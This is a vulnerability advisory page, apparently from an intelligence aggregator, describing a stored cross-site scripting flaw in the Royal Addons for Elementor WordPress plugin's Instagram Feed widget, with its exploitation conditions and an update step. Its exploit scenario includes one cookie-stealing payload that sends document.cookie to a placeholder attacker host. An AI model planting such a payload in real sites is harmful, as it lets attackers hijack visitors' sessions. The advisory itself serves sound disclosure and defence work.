EUVD-2026-27189
GHSA-6vmj-c5pc-9jfw
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
1DescriptionCVE.org
The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Note that exploitation requires that an administrator has previously configured the Instagram Feed widget with a valid Instagram access token on the site.
AnalysisAI
Stored Cross-Site Scripting in Royal Addons for Elementor's Instagram Feed widget allows authenticated contributors and above to inject arbitrary JavaScript via the 'instagram_follow_text' setting, which executes in the browsers of all users viewing the affected page. The vulnerability affects all versions up to 1.7.1056 and requires the Instagram Feed widget to be previously configured with a valid access token by an administrator. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three specific, concrete conditions: (1) The WordPress user must have at least Contributor-level role (PR:L in CVSS vector), meaning they can create and edit posts/pages and modify widgets; (2) An Instagram Feed widget must already exist on a published page or post, and it must be pre-configured with a valid Instagram access token by a site administrator (this is not a default state); (3) The attacker must have access to edit that widget's settings, which is typically restricted to Editors, Administrators, and the page author if they have widget-edit permissions. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 6.4 score reflects a moderate but genuine risk: network-accessible vulnerability with low attack complexity, but requiring authenticated access (PR:L) and limited to Contributor+ roles. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A malicious actor with WordPress Contributor access (e.g., a rogue employee, compromised account, or invited collaborator) navigates to a page containing the Instagram Feed widget. They edit the widget settings, locate the 'instagram_follow_text' field, and inject a malicious script payload such as '<img src=x onerror="fetch('https://attacker.com/?cookie='+document.cookie)">'. … |
| Remediation | Update Royal Addons for Elementor to the latest patched version beyond 1.7.1056 immediately via the WordPress Plugins dashboard (Plugins > Installed Plugins > Royal Addons for Elementor > Update). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
The Vitepos WordPress plugin before 3.4.2 does not properly restrict the roles that can be assigned when creating new u
The weMail: Email Marketing, Email Automation, Newsletters, Subscribers & Email Optins for WooCommerce WordPress plugin
The Taskbuilder WordPress plugin before 5.0.8 does not properly sanitise a URL parameter before echoing it into inline
The ultimate-woocommerce-auction-pro WordPress plugin through 2.4.5 does not sanitise and escape a parameter before outp
The Transbank Webpay WordPress plugin before 1.14.0 does not sanitize and escape logs to be displayed, allowing unauthen
Share
External POC / Exploit Code
Leaving vuln.today